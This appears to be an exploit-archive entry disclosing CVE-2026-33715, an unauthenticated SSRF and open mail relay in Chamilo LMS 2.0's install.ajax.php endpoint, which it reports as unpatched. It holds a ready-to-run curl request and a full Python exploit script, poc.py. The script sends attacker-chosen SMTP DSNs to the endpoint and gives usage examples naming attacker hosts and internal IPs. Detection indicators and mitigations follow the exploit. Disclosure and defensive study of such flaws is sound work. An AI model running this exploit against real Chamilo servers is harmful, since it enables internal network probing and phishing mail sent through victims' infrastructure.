PoC Archive PoC Archive
High CVE-2026-33715 / GHSA-mxc9-9335-45mc unpatched

Chamilo LMS Unauthenticated install.ajax.php SSRF + Open Mail Relay — CVE-2026-33715

by romain-deperne · 2026-07-05

CVSS 7.5/10
Severity
High
CVE
CVE-2026-33715 / GHSA-mxc9-9335-45mc
Category
web
Affected product
Chamilo LMS 2.0
Affected versions
commit 0195b29 and earlier
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researcherromain-deperne
CVE / AdvisoryCVE-2026-33715 / GHSA-mxc9-9335-45mc
Categoryweb
SeverityHigh
CVSS Score7.5
StatusPoC
Tagsssrf, chamilo-lms, open-relay, unauthenticated, php, symfony-mailer, cwe-918, cwe-306, ajax-endpoint
RelatedN/A

Affected Target

FieldValue
Software / SystemChamilo LMS 2.0
Versions Affectedcommit 0195b29 and earlier
Language / PlatformPHP (Symfony-based), exploited via Python/curl PoC
Authentication RequiredNo
Network Access RequiredYes

Summary

Chamilo LMS ships an installation-wizard AJAX endpoint, public/main/inc/ajax/install.ajax.php, that unlike every other AJAX endpoint in the codebase never includes global.inc.php — the file responsible for enforcing session/authentication checks — and remains reachable on fully-installed, production instances. Its test_mailer action takes an attacker-supplied Symfony Mailer DSN string and destination address directly from POST data and passes the DSN straight to Transport::fromDsn(), then sends a real email through it. Because Apache serves existing .php files directly (bypassing Symfony’s front controller/security firewall for this file), any unauthenticated attacker can force the server to open an SMTP connection to an arbitrary internal or external host of their choosing and send attacker-controlled email content through it — a combined SSRF and open-relay primitive. The included poc.py demonstrates both effects against a target instance.


Vulnerability Details

Root Cause

install.ajax.php omits the require_once __DIR__.'/../global.inc.php' inclusion that every sibling AJAX endpoint uses to enforce authentication, and Apache’s rewrite rules pass existing .php files straight through to PHP, bypassing Symfony’s security firewall entirely for this file; its test_mailer action then feeds raw POST-supplied mailerDsn and mailerTestDestination values into Transport::fromDsn() and Mailer::send() with no validation.

Attack Vector

  1. Attacker identifies a Chamilo LMS 2.0 instance reachable over HTTP.
  2. Attacker sends an unauthenticated POST to /main/inc/ajax/install.ajax.php?a=test_mailer with a mailerDsn parameter pointing at an internal host/port (e.g. smtp://10.0.0.1:25) and arbitrary from/to address fields.
  3. The server calls Transport::fromDsn($mailerDsn) and connects to the attacker-chosen host/port — an SSRF primitive usable for internal network reconnaissance.
  4. By pointing the DSN at a real reachable SMTP relay instead, the attacker causes Chamilo to send an actual email with attacker-controlled from/to/content, abusing the server as an open relay (e.g. for phishing appearing to originate from the victim organization’s mail infrastructure).

Impact

Unauthenticated SSRF against internal hosts/services plus the ability to send arbitrary emails through the victim server as an open relay, damaging its sender reputation and enabling phishing that appears to originate from a trusted domain; SMTP error responses can also leak internal network topology.


Environment / Lab Setup

Target:   Chamilo LMS 2.0 (commit 0195b29 or earlier), fully installed instance, reachable over HTTP
Attacker: Python 3 (poc.py) or curl, network path to target and to an internal/attacker-controlled SMTP listener

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
3
4
5
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
  -d "mailerDsn=smtp://10.0.0.1:25" \
  -d "mailerFromEmail=test@chamilo.org" \
  -d "mailerFromName=Test" \
  -d "mailerTestDestination=attacker@evil.com"

poc.py automates sending the crafted unauthenticated POST request(s) to install.ajax.php?a=test_mailer against a target, demonstrating both the SSRF connection to an internal host and the open-relay email-send behavior described above.


Detection & Indicators of Compromise

POST /main/inc/ajax/install.ajax.php?a=test_mailer  200  (no session cookie)

Signs of compromise:

  • Any request to install.ajax.php on an instance that has already completed installation, especially without an authenticated session.
  • Outbound SMTP connection attempts from the Chamilo web server to unexpected internal IPs/ports.
  • Emails observed as sent “from” the Chamilo server’s mail infrastructure that do not correspond to legitimate application notification flows.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor Chamilo/GHSA-mxc9-9335-45mc for an official fix; restrict or remove install.ajax.php on completed installations.
Interim mitigationBlock/deny access to public/main/inc/ajax/install.ajax.php at the web server or reverse proxy level once installation is complete, and add it to global.inc.php-style auth enforcement or a WAF rule blocking unauthenticated test_mailer requests.

References


Notes

Mirrored from https://github.com/romain-deperne/CVE-2026-33715 on 2026-07-05.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python3
"""
PoC: Chamilo LMS - Unauthenticated SSRF and Open Email Relay via install.ajax.php

Vulnerability: The install.ajax.php AJAX endpoint does not include the main
authentication/initialization framework (global.inc.php). It only loads the
Composer autoloader. This means:

1. No authentication check - anonymous users can access it
2. No installation-completed check - works even on fully installed instances
3. The 'test_mailer' action accepts an arbitrary Symfony Mailer DSN from POST data
4. It connects to the attacker-specified SMTP server and sends an email

Impact:
- SSRF: An attacker can make the server connect to arbitrary SMTP servers,
  including internal network hosts (smtp://internal-host:25)
- Open Email Relay: The server can be used to send emails to arbitrary
  destinations, enabling phishing and spam campaigns
- Internal Network Probing: By specifying internal IPs/hostnames in the DSN,
  an attacker can enumerate internal services

Affected: chamilo/chamilo-lms (latest master as of 2026-03-23)
File: public/main/inc/ajax/install.ajax.php
"""

import requests
import sys

def exploit(target_url, attacker_smtp, from_email, to_email):
    """
    Send a request to the unauthenticated test_mailer endpoint.
    
    Args:
        target_url: Base URL of the Chamilo instance (e.g., http://chamilo.local)
        attacker_smtp: Attacker-controlled SMTP DSN (e.g., smtp://attacker.com:25)
        from_email: Email address to send from
        to_email: Email address to send to
    """
    endpoint = f"{target_url}/main/inc/ajax/install.ajax.php?a=test_mailer"
    
    payload = {
        "mailerDsn": attacker_smtp,
        "mailerFromEmail": from_email,
        "mailerFromName": "Chamilo SSRF PoC",
        "mailerTestDestination": to_email,
    }
    
    print(f"[*] Target: {endpoint}")
    print(f"[*] SMTP DSN: {attacker_smtp}")
    print(f"[*] From: {from_email}")
    print(f"[*] To: {to_email}")
    print()
    
    try:
        resp = requests.post(endpoint, data=payload, timeout=15, verify=False)
        print(f"[*] HTTP Status: {resp.status_code}")
        print(f"[*] Response: {resp.text[:500]}")
        
        if resp.status_code == 200:
            print("\n[+] SUCCESS: Email sent via unauthenticated endpoint!")
            print("[+] The server connected to the specified SMTP server and sent an email.")
            print("[+] This confirms SSRF and open email relay.")
        elif "Connection could not be established" in resp.text:
            print("\n[+] SSRF CONFIRMED: The server attempted to connect to the SMTP host.")
            print("[+] The connection failed (host unreachable), but the SSRF is proven.")
        elif resp.status_code == 500:
            print("\n[+] Server error - the endpoint is reachable and processed the request.")
            print("[+] Check if the SMTP connection was attempted.")
        else:
            print(f"\n[?] Unexpected response. Check manually.")
    except requests.exceptions.ConnectionError:
        print("[-] Cannot connect to target.")
    except requests.exceptions.Timeout:
        print("[+] Request timed out - server may be attempting SMTP connection (SSRF indicator)")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url> [attacker_smtp] [from_email] [to_email]")
        print(f"Example: {sys.argv[0]} http://chamilo.local smtp://attacker.com:25 attacker@evil.com victim@target.com")
        print()
        print("Demonstrating the vulnerability structure:")
        print()
        print("Vulnerable file: public/main/inc/ajax/install.ajax.php")
        print("- Only loads vendor/autoload.php (no auth, no install check)")
        print("- Action 'test_mailer' creates Transport::fromDsn() with user-supplied DSN")
        print("- Sends email to user-supplied destination")
        print()
        print("The DSN can target internal hosts: smtp://10.0.0.1:25")
        print("This enables SSRF into the internal network via SMTP protocol.")
        sys.exit(0)
    
    target = sys.argv[1].rstrip("/")
    smtp = sys.argv[2] if len(sys.argv) > 2 else "smtp://127.0.0.1:25"
    from_addr = sys.argv[3] if len(sys.argv) > 3 else "test@test.com"
    to_addr = sys.argv[4] if len(sys.argv) > 4 else "test@test.com"
    
    exploit(target, smtp, from_addr, to_addr)